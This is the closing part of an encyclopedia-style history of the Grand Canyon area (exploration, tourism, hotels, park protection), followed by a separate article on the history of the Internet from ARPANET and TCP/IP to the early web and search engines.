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          More than a decade after the Ives Expedition and with help from the Smithsonian Institution, Powell led the first of the Powell Expeditions to explore the region and document its scientific offerings. On May 24, 1869, the group of nine men set out from Green River Station in Wyoming down the Colorado River and through the Grand Canyon. This first expedition was poorly-funded and consequently no photographer or graphic artist was included. While in the Canyon of Lodore one of the group's four boats capsized, spilling most of their food and much of their scientific equipment into the river. This shortened the expedition to one hundred days. Tired of being constantly cold, wet and hungry and not knowing they had already passed the worst rapids, three of Powell's men climbed out of the canyon in what is now called Separation Canyon. Once out of the canyon, all three were supposedly killed by Shivwits band Paiutes who thought they were miners that recently molested and killed a female Shivwit. All those who stayed with Powell survived and that group successfully ran most of the canyon.
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          Two years later a much better-funded Powell-led party returned with redesigned boats and a chain of several supply stations along their route. This time, photographer E.O. Beaman and 17-year-old artist Frederick Dellenbaugh were included. Beaman left the group in January 1872 over a dispute with Powell and his replacement, James Fennemore, quit August that same year due to poor health, leaving boatman Jack Hillers as the official photographer (nearly one ton of photographic equipment was needed on site to process each shot). Famed painter Thomas Moran joined the expedition in the summer of 1873, after the river voyage and thus only viewed the canyon from the rim. His 1873 painting "Chasm of the Colorado" was bought by the United States Congress in 1874 and hung in the lobby of the Senate.


          The Powell expeditions systematically cataloged rock formations, plants, animals, and archaeological sites. Photographs and illustrations from the Powell expeditions greatly popularized the canyonland region of the southwest United States, especially the Grand Canyon (knowing this Powell added increasing resources to that aspect of his expeditions). Powell later used these photographs and illustrations in his lecture tours, making him a national figure. Rights to reproduce 650 of the expeditions' 1,400 stereographs were sold to help fund future Powell projects. In 1881 he became the second director of the U.S. Geological Survey.


          Geologist Clarence Dutton ( photo) followed up on Powell's work in 18801881 with the first in-depth geological survey of the newly-formed U.S. Geological Survey. Painters Thomas Moran and William Henry Holmes accompanied Dutton, who was busy drafting detailed descriptions of the area's geology. The report that resulted from the team's effort was titled A Tertiary History of The Grand Canyon District, with Atlas and was published in 1882. This and later study by geologists uncovered the geology of the Grand Canyon area and helped to advance that science. Both the Powell and Dutton expeditions helped to increase interest in the canyon and surrounding region.


          Prospectors in the 1870s and 1880s staked mining claims in the canyon. They hoped that previously-discovered deposits of asbestos, copper, lead, and zinc would be profitable to mine. Access to and from this remote region and problems getting ore out of the canyon and its rock made the whole exercise not worth the effort. Most moved on, and some stayed to seek profit in the tourist trade. Their activities did improve pre-existing Indian trails, such as Bright Angel Trail.


          


          Tourism


          


          Transportation
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          A rail line to the largest city in the area, Flagstaff, was completed in 1882 by the Santa Fe Railroad. Stage coaches started to bring tourists from Flagstaff to the Grand Canyon the next yearan eleven-hour journey. Tourism greatly increased in 1901 when a spur of the Santa Fe Railroad to Grand Canyon Village was completed. The first scheduled train with paying passengers of the Grand Canyon Railway arrived from Williams, Arizona, on September 17 that year. The 64 mile (103 km) long trip cost $3.95, and naturalist John Muir later commended the railroad for its limited environmental impact.


          Competition with the automobile (see below) forced the Santa Fe Railroad to cease operation of the Grand Canyon Railway in 1968 (only three passengers were on the last run). The railway was restored and reintroduced service in 1989, and has since carried hundreds of passengers a day.


          The first automobile was driven to the Grand Canyon in 1902. Oliver Lippincott from Los Angeles, California, drove his Toledo Automobile Company-built car to the South Rim from Flagstaff. Lippincott, a guide and two writers set out on the afternoon of January 4 that year anticipating a seven-hour journey. Two days later, the hungry and dehydrated party arrived at their destination; the countryside was just too rough for the 10 horsepower (7 kW) auto. A three day drive from Utah in 1907 was required to reach the North Rim for the first time.


          Trains, however, remained the preferred way to travel to the canyon until they were surpassed by the auto in the 1930s. By the early 1990s more than a million automobiles per year visited the park. Air pollution from those vehicles and wind-blown pollution from Flagstaff and even the Las Vegas area has reduced visibility in the Grand Canyon and vicinity.


          West Rim Drive was completed in 1912. In the late 1920s the first rim to rim access was established by the North Kaibab suspension bridge over the Colorado River. Paved roads did not reach the less popular and more remote North Rim until 1926, and that area, being higher in elevation, is closed due to winter weather from November to April. Construction of a road along part of the South Rim was completed in 1935.


          


          Accommodations
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          John D. Lee was the first person who catered to travelers to the canyon. In 1872 he established a ferry service at the confluence of the Colorado and Paria rivers. Lee was in hiding, having been accused of leading the Mountain Meadows massacre in 1857. He was tried and executed for this crime in 1877. During his trial he played host to members of the Powell Expedition who were waiting for their photographer, Major James Fennemore, to arrive (Fennemore took the last photo of Lee sitting on his own coffin). Emma, one of Lee's nineteen wives, continued the ferry business after her husband's death. In 1876 a man named Harrison Pierce established another ferry service at the western end of the canyon.


          The two-room Farlee Hotel opened in 1884 near Diamond Creek and was in operation until 1889. That year Louis Boucher opened a larger hotel at Dripping Springs. John Hance opened his ranch near Grandview to tourists in 1886 only to sell it nine years later in order to start a long career as a Grand Canyon guide (in 1896 he also became local postmaster).
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          William Wallace Bass opened a tent house campground in 1890. Bass Camp had a small central building with common facilities such as a kitchen, dining room, and sitting room inside. Rates were $2.50 a day, and the complex was 20 miles (30 km) west of the Grand Canyon Railway's Bass Station (Ash Fort). Bass also built the stage coach road that he used to carry his patrons from the train station to his hotel. A second Bass Camp was built along the Shinumo Creek drainage.


          The Grand Canyon Hotel Company was incorporated in 1892 and charged with building services along the stage route to the canyon. In 1896 the same man who bought Hance's Grandview ranch opened Bright Angel Hotel in Grand Canyon Village. Cameron Hotel opened in 1903, and its owner started to charge a toll to use Bright Angel Trail.
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          Things changed in 1905 when the luxury El Tovar Hotel opened within steps of the Grand Canyon Railway's terminus. El Tovar was named for Don Pedro de Tovar who tradition says is the Spaniard who learned about the canyon from Hopis and told Coronado (see above). Charles Whittlesey designed the arts and crafts-styled rustic hotel complex, which was built with logs from Oregon and local stone at a cost of $250,000 for the hotel and another $50,000 for the stables (a huge sum in 1905). An IMAX theatre just outside the park shows a reenactment of the Powell Expedition.


          The Kolb Brothers, Emery and Ellsworth, built a photographic studio on the South Rim at the trailhead of Bright Angel Trail in 1904. Hikers and mule caravans intent on descending down the canyon would stop at the Kolb Studio to have their photos taken. The Kolb Brothers processed the prints before their customers returned to the rim. Using the newly-invented Path Bray camera in 191112, they became the first to make a motion picture of a river trip through the canyon that itself was only the eighth such successful journey. From 1915 to 1975 the film they produced was shown twice a day to tourists with Emery Kolb at first narrating in person and later through tape (a feud with Fred Harvey prevented pre-1915 showings).


          


          Protection efforts


          By the late 19th century, the conservation movement was increasing national interest in preserving natural wonders like the Grand Canyon. U.S. National Parks in Yellowstone and around Yosemite Valley were established by the early 1890s. U.S. Senator Benjamin Harrison introduced a bill in 1887 to establish a national park at the Grand Canyon. The bill died in committee, but on February 20, 1893, Harrison (then President of the United States) declared the Grand Canyon to be a National Forest Preserve. Mining and logging were allowed, but the designation did offer some protection.
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          U.S. President Theodore Roosevelt visited the Grand Canyon in 1903. An avid outdoorsman and staunch conservationist, he established the Grand Canyon Game Preserve on November 28, 1906. Livestock grazing was reduced, but predators such as mountain lions, eagles, and wolves, were eradicated. Roosevelt added adjacent national forest lands and redesignated the preserve a U.S. National Monument on January 11, 1908. Opponents such as land and mining claim holders blocked efforts to reclassify the monument as a U.S. National Park for 11 years. Grand Canyon National Park was finally established as the 17th U.S. National Park by an Act of Congress signed into law by President Woodrow Wilson on February 26, 1919. The National Park Service declared the Fred Harvey Company to the official park concessionaire in 1920 and bought William Wallace Bass out of business.


          An almost 310 square mile (800 km) area adjacent to the park was designated as a second Grand Canyon National Monument on December 22, 1932. Marble Canyon National Monument was established on January 20, 1969, and covered about 41 square miles (105 km). An act signed by President Gerald Ford on January 3, 1975, doubled the size of Grand Canyon National Park by merging these adjacent national monuments and other federal land into it. That same act gave Havasu Canyon back to the Havasupai. From that point forward, the park stretched along a 278 mile (447 km) segment of the Colorado River from the southern border of Glen Canyon National Recreation Area to the eastern boundary of Lake Mead National Recreation Area. Grand Canyon National Park was designated a World Heritage Site on October 24, 1979.


          In 1935, Hoover Dam started to impound Lake Mead south of the canyon. Conservationists lost a battle to save upstream Glen Canyon from becoming a reservoir. The Glen Canyon Dam was completed in 1966 to control flooding, provide water and hydroelectric power. Seasonal variations of spring high flow and flooding and low flow in summer have been replaced by a much more regulated system. The much more controlled Colorado has a dramatically reduced sediment load, which starves beaches and sand bars. In addition, clearer water allows significant algae growth to occur on the riverbed, giving the river a green colour.


          With the advent of commercial flight, the Grand Canyon has been a popular site for aircraft overflights. However, a series of accidents resulted in the Overflights Act of 1987 by the United States Congress, which banned flights below-the-rim and created flight-free zones. The tourism flights over the canyon have also created a noise issue, and the number of flights over the park has been restricted.


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_Grand_Canyon_area"
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        History of the Internet


        
          

          Prior to the widespread inter-networking that led to the Internet, most communication networks were limited by their nature to only allow communications between the stations on the network, and the prevalent computer networking method was based on the central mainframe method. In the 1960s, computer researchers, J. C. R. Licklider and Robert W.Taylor pioneered calls for a joined-up global network to address interoperability problems. Concurrently, several research programs began to research principles of networking between separate physical networks, and this led to the development of Packet switching. These included Donald Davies ( NPL), Paul Baran ( RAND Corporation), and Leonard Kleinrock (MIT)'s research programs,


          This lead to the development of several packet switched networking solutions in the late 1960s and 1970s, including ARPANET, and X.25. Additionally, public access and hobbyist networking systems grew in popularity, including UUCP. They were however still disjointed separate networks, served only by limited gateways between networks. This lead to the application of packet switching to develop a protocol for inter-networking, where multiple different networks could by joined together into a super-framework of networks. By defining a simple common network system, the Internet protocol suite, the concept of the network could be separated from its physical implementation. This spread of inter-network began to form into the idea of a global inter-network that would be called 'The Internet', and this began to quickly spread as pre-existing networks were converted over to become compatible with this. This spread quickly across the advanced telecommunication networks of the western world, and then began to penetrate into the rest of the world as it became the de-facto international standard and global network. However, the disparity of growth lead to a Digital divide that is still a concern today.


          Following commercialisation and introduction of privately run Internet Service Providers in the 1980s, and its expansion into mass popular use in the 1990s, the Internet has had a drastic impact on culture and commerce. This includes the rise of near instant communication by e-mail, text based discussion forums, the World Wide Web. Investor speculation in new markets provided by these innovations would also lead to the inflation and collapse of the Dot-com bubble, a major market collapse. But despite this, growth of the internet continued, and still does.
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          Before the Internet


          In the 1950s and early 1960s, prior to the widespread inter-networking that led to the Internet, most communication networks were limited by their nature to only allow communications between the stations on the network. Some networks had gateways or bridges between them, but these bridges were often limited or built specifically for a single use. One prevalent computer networking method was based on the central mainframe method, simply allowing its terminals to be connected via long leased lines. This method was used in the 1950s by Project RAND to support researchers such as Herbert Simon, in Pittsburgh, Pennsylvania, when collaborating across the continent with researchers in Sullivan, Illinois, on automated theorem proving and artificial intelligence.


          


          Three terminals and an ARPA


          A fundamental pioneer in the call for a global network, J.C.R. Licklider, articulated the ideas in his January 1960 paper, Man-Computer Symbiosis.


          
            
              "A network of such [computers], connected to one another by wide-band communication lines [which provided] the functions of present-day libraries together with anticipated advances in information storage and retrieval and [other] symbiotic functions."

            


            
              J.C.R.Licklider,
            

          


          In October 1962, Licklider was appointed head of the United States Department of Defense's Advanced Research Projects Agency, now known as DARPA, within the information processing office. There he formed an informal group within DARPA to further computer research. As part of the information processing office's role, three network terminals had been installed: one for System Development Corporation in Santa Monica, one for Project Genie at the University of California, Berkeley and one for the Compatible Time-Sharing System project at the Massachusetts Institute of Technology (MIT). Licklider's identified need for inter-networking would be made obviously evident by the problems this caused.


          
            
              "For each of these three terminals, I had three different sets of user commands. So if I was talking online with someone at S.D.C. and I wanted to talk to someone I knew at Berkeley or M.I.T. about this, I had to get up from the S.D.C. terminal, go over and log into the other terminal and get in touch with them. [...] I said, it's obvious what to do (But I don't want to do it): If you have these three terminals, there ought to be one terminal that goes anywhere you want to go where you have interactive computing. That idea is the ARPAnet."

            


            
               Robert W.Taylor, co-writer with Licklider of "The Computer as a Communications Device", in an interview with the New York Times,
            

          


          


          Packet switching


          At the tip of the inter-networking problem lay the issue of connecting separate physical networks to form one logical network, with much wasted capacity inside the assorted separate networks. During the 1960s, Donald Davies ( NPL), Paul Baran ( RAND Corporation), and Leonard Kleinrock (MIT) developed and implemented packet switching. The notion that the Internet was developed to survive a nuclear attack has its roots in the early theories developed by RAND, but is an urban legend, not supported by any Internet Engineering Task Force or other document. Early networks used for the command and control of nuclear forces were message switched, not packet-switched, although current strategic military networks are, indeed, packet-switching and connectionless. Baran's research had approached packet switching from studies of decentralisation to avoid combat damage compromising the entire network.


          


          Networks that led to the Internet


          


          ARPANET


          


          Promoted to the head of the information processing office at DARPA, Robert Taylor intended to realize Licklider's ideas of an interconnected networking system. Bringing in Larry Roberts from MIT, he initiated a project to build such a network. The first ARPANET link was established between the University of California, Los Angeles and the Stanford Research Institute on 29 November 1969. By 5 December 1969, a 4-node network was connected by adding the University of Utah and the University of California, Santa Barbara. Building on ideas developed in ALOHAnet, the ARPANET grew rapidly. By 1981, the number of hosts had grown to 213, with a new host being added approximately every twenty days.


          ARPANET became the technical core of what would become the Internet, and a primary tool in developing the technologies used. ARPANET development was centered around the Request for Comments (RFC) process, still used today for proposing and distributing Internet Protocols and Systems. RFC 1, entitled "Host Software", was written by Steve Crocker from the University of California, Los Angeles, and published on April 7, 1969. These early years were documented in the 1972 film Computer Networks: The Heralds of Resource Sharing.


          International collaborations on ARPANET were sparse. For various political reasons, European developers were concerned with developing the X.25 networks. Notable exceptions were the Norwegian Seismic Array (NORSAR) in 1972, followed in 1973 by Sweden with satellite links to the Tanum Earth Station and University College London.


          



          


          X.25 and public access


          Following on from ARPA's research, packet switching network standards were developed by the International Telecommunication Union (ITU) in the form of X.25 and related standards. In 1974, X.25 formed the basis for the SERCnet network between British academic and research sites, which later became JANET. The initial ITU Standard on X.25 was approved in March 1976. This standard was based on the concept of virtual circuits.


          The British Post Office, Western Union International and Tymnet collaborated to create the first international packet switched network, referred to as the International Packet Switched Service (IPSS), in 1978. This network grew from Europe and the US to cover Canada, Hong Kong and Australia by 1981. By the 1990s it provided a worldwide networking infrastructure.


          Unlike ARPAnet, X.25 was also commonly available for business use. Telenet offered its Telemail electronic mail service, but this was oriented to enterprise use rather than the general email of ARPANET.


          The first dial-in public networks used asynchronous TTY terminal protocols to reach a concentrator operated by the public network. Some public networks, such as CompuServe used X.25 to multiplex the terminal sessions into their packet-switched backbones, while others, such as Tymnet, used proprietary protocols. In 1979, CompuServe became the first service to offer electronic mail capabilities and technical support to personal computer users. The company broke new ground again in 1980 as the first to offer real-time chat with its CB Simulator. There were also the America Online (AOL) and Prodigy dial in networks and many bulletin board system (BBS) networks such as FidoNet. FidoNet in particular was popular amongst hobbyist computer users, many of them hackers and amateur radio operators.


          


          UUCP


          In 1979, two students at Duke University, Tom Truscott and Jim Ellis, came up with the idea of using simple Bourne shell scripts to transfer news and messages on a serial line with nearby University of North Carolina at Chapel Hill. Following public release of the software, the mesh of UUCP hosts forwarding on the Usenet news rapidly expanded. UUCPnet, as it would later be named, also created gateways and links between FidoNet and dial-up BBS hosts. UUCP networks spread quickly due to the lower costs involved, and ability to use existing leased lines, X.25 links or even ARPANET connections. By 1981 the number of UUCP hosts had grown to 550, nearly doubling to 940 in 1984.


          


          Merging the networks and creating the Internet


          


          TCP/IP
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          With so many different network methods, something was needed to unify them. Robert E. Kahn of DARPA and ARPANET recruited Vinton Cerf of Stanford University to work with him on the problem. By 1973, they had soon worked out a fundamental reformulation, where the differences between network protocols were hidden by using a common internetwork protocol, and instead of the network being responsible for reliability, as in the ARPANET, the hosts became responsible. Cerf credits Hubert Zimmerman, Gerard LeLann and Louis Pouzin (designer of the CYCLADES network) with important work on this design.


          At this time, the earliest known use of the term Internet was by Vinton Cerf, who wrote:


          
            
              	

              	Specification of Internet Transmission Control Program.

              	
            

          


          "Request for Comments No. 675" (Network Working Group, electronic text (1974)


          With the role of the network reduced to the bare minimum, it became possible to join almost any networks together, no matter what their characteristics were, thereby solving Kahn's initial problem. DARPA agreed to fund development of prototype software, and after several years of work, the first somewhat crude demonstration of a gateway between the Packet Radio network in the SF Bay area and the ARPANET was conducted. On November 22, 1977 a three network demonstration was conducted including the ARPANET, the Packet Radio Network and the Atlantic Packet Satellite networkall sponsored by DARPA. Stemming from the first specifications of TCP in 1974, TCP/IP emerged in mid-late 1978 in nearly final form. By 1981, the associated standards were published as RFCs 791, 792 and 793 and adopted for use. DARPA sponsored or encouraged the development of TCP/IP implementations for many operating systems and then scheduled a migration of all hosts on all of its packet networks to TCP/IP. On 1 January 1983, TCP/IP protocols became the only approved protocol on the ARPANET, replacing the earlier NCP protocol.


          


          ARPANET to Several Federal Wide Area Networks: MILNET, NSI, and NSFNet


          After the ARPANET had been up and running for several years, ARPA looked for another agency to hand off the network to; ARPA's primary mission was funding cutting edge research and development, not running a communications utility. Eventually, in July 1975, the network had been turned over to the Defense Communications Agency, also part of the Department of Defense. In 1983, the U.S. military portion of the ARPANET was broken off as a separate network, the MILNET. MILNET subsequently became the unclassified but military-only NIPRNET, in parallel with the SECRET-level SIPRNET and JWICS for TOP SECRET and above. NIPRNET does have controlled security gateways to the public Internet.


          The networks based around the ARPANET were government funded and therefore restricted to noncommercial uses such as research; unrelated commercial use was strictly forbidden. This initially restricted connections to military sites and universities. During the 1980s, the connections expanded to more educational institutions, and even to a growing number of companies such as Digital Equipment Corporation and Hewlett-Packard, which were participating in research projects or providing services to those who were.


          Several other branches of the U.S. government, the National Aeronautics and Space Agency (NASA), the National Science Foundation (NSF), and the Department of Energy (DOE) became heavily involved in internet research and started development of a successor to ARPANET. In the mid 1980s all three of these branches developed the first Wide Area Networks based on TCP/IP. NASA developed the NASA Science Network, NSF developed CSNET and DOE evolved the Energy Sciences Network or ESNet.


          More explicitly, NASA developed a TCP/IP based Wide Area Network, NASA Science Network (NSN), in the mid 1980s connecting space scientists to data and information stored anywhere in the world. In 1989, the DECnet-based Space Physics Analysis Network (SPAN) and the TCP/IP-based NASA Science Network (NSN) were brought together at NASA Ames Research Centre creating the first multiprotocol wide area network called the NASA Science Internet, or NSI. NSI was established to provide a total integrated communications infrastructure to the NASA scientific community for the advancement of earth, space and life sciences. As a high-speed, multiprotocol, international network, NSI provided connectivity to over 20,000 scientists across all seven continents.


          In 1984 NSF developed CSNET exclusively based on TCP/IP. CSNET connected with ARPANET using TCP/IP, and ran TCP/IP over X.25, but it also supported departments without sophisticated network connections, using automated dial-up mail exchange. This grew into the NSFNet backbone, established in 1986, and intended to connect and provide access to a number of supercomputing centers established by the NSF.


          


          Transition toward an Internet


          The term "Internet" was adopted in the first RFC published on the TCP protocol ( RFC 675 : Internet Transmission Control Program, December 1974). It was around the time when ARPANET was interlinked with NSFNet, that the term Internet came into more general use, with "an internet" meaning any network using TCP/IP. "The Internet" came to mean a global and large network using TCP/IP. Previously "internet" and "internetwork" had been used interchangeably, and "internet protocol" had been used to refer to other networking systems such as Xerox Network Services.


          As interest in wide spread networking grew and new applications for it arrived, the Internet's technologies spread throughout the rest of the world. TCP/IP's network-agnostic approach meant that it was easy to use any existing network infrastructure, such as the IPSS X.25 network, to carry Internet traffic. In 1984, University College London replaced its transatlantic satellite links with TCP/IP over IPSS.


          Many sites unable to link directly to the Internet started to create simple gateways to allow transfer of e-mail, at that time the most important application. Sites which only had intermittent connections used UUCP or FidoNet and relied on the gateways between these networks and the Internet. Some gateway services went beyond simple e-mail peering, such as allowing access to FTP sites via UUCP or e-mail.


          


          TCP/IP becomes worldwide


          The first ARPANET connection outside the US was established to NORSAR in Norway in 1973, just ahead of the connection to Great Britain. These links were all converted to TCP/IP in 1982, at the same time as the rest of the Arpanet.


          


          CERN, the European internet, the link to the Pacific and beyond


          Between 1984 and 1988 CERN began installation and operation of TCP/IP to interconnect its major internal computer systems, workstations, PC's and an accelerator control system. CERN continued to operate a limited self-developed system CERNET internally and several incompatible (typically proprietary) network protocols externally. There was considerable resistance in Europe towards more widespread use of TCP/IP and the CERN TCP/IP intranets remained isolated from the rest of the Internet until 1989.


          In 1988 Daniel Karrenberg, from CWI in Amsterdam, visited Ben Segal, CERN's TCP/IP Coordinator, looking for advice about the transition of the European side of the UUCP Usenet network (much of which ran over X.25 links) over to TCP/IP. In 1987, Ben Segal had met with Len Bosack from the then still small company Cisco about purchasing some TCP/IP routers for CERN, and was able to give Karrenberg advice and forward him on to Cisco for the appropriate hardware. This expanded the European portion of the Internet across the existing UUCP networks, and in 1989 CERN opened its first external TCP/IP connections. This coincided with the creation of Rseaux IP Europens ( RIPE), initially a group of IP network administrators who met regularly to carry out co-ordination work together. Later, in 1992, RIPE was formally registered as a cooperative in Amsterdam.


          At the same time as the rise of internetworking in Europe, adhoc networking to ARPA and in-between Australian universities formed, based on various technologies such as X.25 and UUCPNet. These were limited in their connection to the global networks, due to the cost of making individual international UUCP dial-up or X.25 connections. In 1989, Australian universities joined the push towards using IP protocols to unify their networking infrastructures. AARNet was formed in 1989 by the Australian Vice-Chancellors' Committee and provided a dedicated IP based network for Australia.


          The Internet began to penetrate Asia in the late 1980s. Japan, which had built the UUCP-based network JUNET in 1984, connected to NSFNet in 1989. It hosted the annual meeting of the Internet Society, INET'92, in Kobe. Singapore developed TECHNET in 1990, and Thailand gained a global Internet connection between Chulalongkorn University and UUNET in 1992.


          


          Digital divide


          While developed countries with technological infrastructures were joining the Internet, developing countries began to experience a digital divide separating them from the Internet. On an essentially continental basis, they are building organizations for Internet resource administration and sharing operational experience, as more and more transmission facilities go into place.


          


          Africa


          At the beginning of the 1990s, African countries relied upon X.25 IPSS and 2400 baud modem UUCP links for international and internetwork computer communications. In 1996 a USAID funded project, the Leland initiative, started work on developing full Internet connectivity for the continent. Guinea, Mozambique, Madagascar and Rwanda gained satellite earth stations in 1997, followed by Cte d'Ivoire and Benin in 1998.


          Africa is building an Internet infrastructure. AfriNIC, headquartered in Mauritius, manages IP address allocation for the continent. As do the other Internet regions, there is an operational forum, the Internet Community of Operational Networking Specialists.


          There are a wide range of programs both to provide high-performance transmission plant, and the western and southern coasts have undersea optical cable. High-speed cables join North Africa and the Horn of Africa to intercontinental cable systems. Undersea cable development is slower for East Africa; the original joint effort between New Partnership for Africa's Development (NEPAD) and the East Africa Submarine System (Eassy) has broken off and may become two efforts.


          


          Asia and Oceania


          The Asia Pacific Network Information Centre (APNIC), headquartered in Australia, manages IP address allocation for the continent. APNIC sponsors an operational forum, the Asia-Pacific Regional Internet Conference on Operational Technologies (APRICOT).


          In 1991, the People's Republic of China saw its first TCP/IP college network, Tsinghua University's TUNET. The PRC went on to make its first global Internet connection in 1995, between the Beijing Electro-Spectrometer Collaboration and Stanford University's Linear Accelerator Centre. However, China went on to implement its own digital divide by implementing a country-wide content filter.


          


          Latin America


          As with the other regions, the Latin American and Caribbean Internet Addresses Registry (LACNIC) manages the IP address space and other resources for its area. LACNIC, headquartered in Uruguay, operates DNS root, reverse DNS, and other key services.


          


          Opening the network to commerce


          The interest in commercial use of the Internet became a hotly debated topic. Although commercial use was forbidden, the exact definition of commercial use could be unclear and subjective. UUCPNet and the X.25 IPSS had no such restrictions, which would eventually see the official barring of UUCPNet use of ARPANET and NSFNet connections. Some UUCP links still remained connecting to these networks however, as administrators cast a blind eye to their operation.


          
            [image: ]
          


          During the late 1980s, the first Internet service provider (ISP) companies were formed. Companies like PSINet, UUNET, Netcom, and Portal Software were formed to provide service to the regional research networks and provide alternate network access, UUCP-based email and Usenet News to the public. The first dial-up in the West Coast, was Best Internet - now Verio Communications, opened in 1986. The first dialup ISP in the East was world.std.com, opened in 1989.


          This caused controversy amongst university users, who were outraged at the idea of noneducational use of their networks. Eventually, it was the commercial Internet service providers who brought prices low enough that junior colleges and other schools could afford to participate in the new arenas of education and research.


          By 1990, ARPANET had been overtaken and replaced by newer networking technologies and the project came to a close. In 1994, the NSFNet, now renamed ANSNET (Advanced Networks and Services) and allowing non-profit corporations access, lost its standing as the backbone of the Internet. Both government institutions and competing commercial providers created their own backbones and interconnections. Regional network access points (NAPs) became the primary interconnections between the many networks and the final commercial restrictions ended.


          


          IETF and a standard for standards


          The Internet has developed a significant subculture dedicated to the idea that the Internet is not owned or controlled by any one person, company, group, or organization. Nevertheless, some standardization and control is necessary for the system to function.


          The liberal Request for Comments (RFC) publication procedure engendered confusion about the Internet standardization process, and led to more formalization of official accepted standards. The IETF started in January of 1985 as a quarterly meeting of U.S. government funded researchers. Representatives from non-government vendors were invited starting with the fourth IETF meeting in October of that year.


          Acceptance of an RFC by the RFC Editor for publication does not automatically make the RFC into a standard. It may be recognized as such by the IETF only after experimentation, use, and acceptance have proved it to be worthy of that designation. Official standards are numbered with a prefix "STD" and a number, similar to the RFC naming style. However, even after becoming a standard, most are still commonly referred to by their RFC number.


          In 1992, the Internet Society, a professional membership society, was formed and the IETF was transferred to operation under it as an independent international standards body.


          


          NIC, InterNIC, IANA and ICANN


          The first central authority to coordinate the operation of the network was the Network Information Centre (NIC) at Stanford Research Institute (SRI) in Menlo Park, California. In 1972, management of these issues was given to the newly created Internet Assigned Numbers Authority (IANA). In addition to his role as the RFC Editor, Jon Postel worked as the manager of IANA until his death in 1998.


          As the early ARPANET grew, hosts were referred to by names, and a HOSTS.TXT file would be distributed from SRI International to each host on the network. As the network grew, this became cumbersome. A technical solution came in the form of the Domain Name System, created by Paul Mockapetris. The Defense Data NetworkNetwork Information Centre (DDN-NIC) at SRI handled all registration services, including the top-level domains (TLDs) of .mil, .gov, .edu, .org, .net, .com and .us, root nameserver administration and Internet number assignments under a United States Department of Defense contract. In 1991, the Defense Information Systems Agency (DISA) awarded the administration and maintenance of DDN-NIC (managed by SRI up until this point) to Government Systems, Inc., who subcontracted it to the small private-sector Network Solutions, Inc.


          Since at this point in history most of the growth on the Internet was coming from non-military sources, it was decided that the Department of Defense would no longer fund registration services outside of the .mil TLD. In 1993 the U.S. National Science Foundation, after a competitive bidding process in 1992, created the InterNIC to manage the allocations of addresses and management of the address databases, and awarded the contract to three organizations. Registration Services would be provided by Network Solutions; Directory and Database Services would be provided by AT&T; and Information Services would be provided by General Atomics.


          In 1998 both IANA and InterNIC were reorganized under the control of ICANN, a California non-profit corporation contracted by the US Department of Commerce to manage a number of Internet-related tasks. The role of operating the DNS system was privatized and opened up to competition, while the central management of name allocations would be awarded on a contract tender basis.


          


          Use and culture


          


          E-mail and Usenet


          E-mail is often called the killer application of the Internet. However, it actually predates the Internet and was a crucial tool in creating it. E-mail started in 1965 as a way for multiple users of a time-sharing mainframe computer to communicate. Although the history is unclear, among the first systems to have such a facility were SDC's Q32 and MIT's CTSS.


          The ARPANET computer network made a large contribution to the evolution of e-mail. There is one report indicating experimental inter-system e-mail transfers on it shortly after ARPANET's creation. In 1971 Ray Tomlinson created what was to become the standard Internet e-mail address format, using the @ sign to separate user names from host names.


          A number of protocols were developed to deliver e-mail among groups of time-sharing computers over alternative transmission systems, such as UUCP and IBM's VNET e-mail system. E-mail could be passed this way between a number of networks, including ARPANET, BITNET and NSFNet, as well as to hosts connected directly to other sites via UUCP.


          In addition, UUCP allowed the publication of text files that could be read by many others. The News software developed by Steve Daniel and Tom Truscott in 1979 was used to distribute news and bulletin board-like messages. This quickly grew into discussion groups, known as newsgroups, on a wide range of topics. On ARPANET and NSFNet similar discussion groups would form via mailing lists, discussing both technical issues and more culturally focused topics (such as science fiction, discussed on the sflovers mailing list).


          


          From gopher to the WWW


          As the Internet grew through the 1980s and early 1990s, many people realized the increasing need to be able to find and organize files and information. Projects such as Gopher, WAIS, and the FTP Archive list attempted to create ways to organize distributed data. Unfortunately, these projects fell short in being able to accommodate all the existing data types and in being able to grow without bottlenecks.


          One of the most promising user interface paradigms during this period was hypertext. The technology had been inspired by Vannevar Bush's " Memex" and developed through Ted Nelson's research on Project Xanadu and Douglas Engelbart's research on NLS. Many small self-contained hypertext systems had been created before, such as Apple Computer's HyperCard. Gopher became the first commonly-used hypertext interface to the Internet. While Gopher menu items were examples of hypertext, they were not commonly perceived in that way.


          In 1989, whilst working at CERN, Tim Berners-Lee invented a network-based implementation of the hypertext concept. By releasing his invention to public use, he ensured the technology would become widespread.. One early popular web browser, modeled after HyperCard, was ViolaWWW.


          Scholars generally agree, however, that the turning point for the World Wide Web began with the introduction of the Mosaic web browser in 1993, a graphical browser developed by a team at the National Centre for Supercomputing Applications at the University of Illinois at Urbana-Champaign (NCSA-UIUC), led by Marc Andreessen. Funding for Mosaic came from the High-Performance Computing and Communications Initiative, a funding program initiated by then-Senator Al Gore's High Performance Computing and Communication Act of 1991 also known as the Gore Bill . Indeed, Mosaic's graphical interface soon became more popular than Gopher, which at the time was primarily text-based, and the WWW became the preferred interface for accessing the Internet. (Gore's reference to his role in "creating the Internet", however, was ridiculed in his Presidential election campaign: see full article Al Gore contributions to the internet and technology).


          Mosaic was eventually superseded in 1994 by Andreessen's Netscape Navigator, which replaced Mosaic as the world's most popular browser. While it held this title for some time, eventually competition from Internet Explorer and a variety of other browsers almost completely displaced it. Another important event held on January 11, 1994, was The Superhighway Summit at UCLA's Royce Hall. This was the "first public conference bringing together all of the major industry, government and academic leaders in the field [and] also began the national dialogue about the Information Superhighway and its implications."


          24 Hours in Cyberspace, the "the largest one-day online event" ( February 8, 1996) up to that date, took place on the then-active website, cyber24.com. It was headed by photographer Rick Smolan. A photographic exhibition was unveiled at the Smithsonian Institution's National Museum of American History on 23 January 1997, featuring 70 photos from the project.


          


          Search engines


          Even before the World Wide Web, there were search engines that attempted to organize the Internet. The first of these was the Archie search engine from McGill University in 1990, followed in 1991 by WAIS and Gopher. All three of those systems predated the invention of the World Wide Web but all continued to index the Web and the rest of the Internet for several years after the Web appeared. There are still Gopher servers as of 2006, although there are a great many more web servers.


          As the Web grew, search engines and Web directories were created to track pages on the Web and allow people to find things. The first full-text Web search engine was WebCrawler in 1994. Before WebCrawler, only Web page titles were searched. Another early search engine, Lycos, was created in 1993 as a university project, and was the first to achieve commercial success. During the late 1990s, both Web directories and Web search engines were popular Yahoo! (founded 1995) and Altavista (founded 1995) were the respective industry leaders.


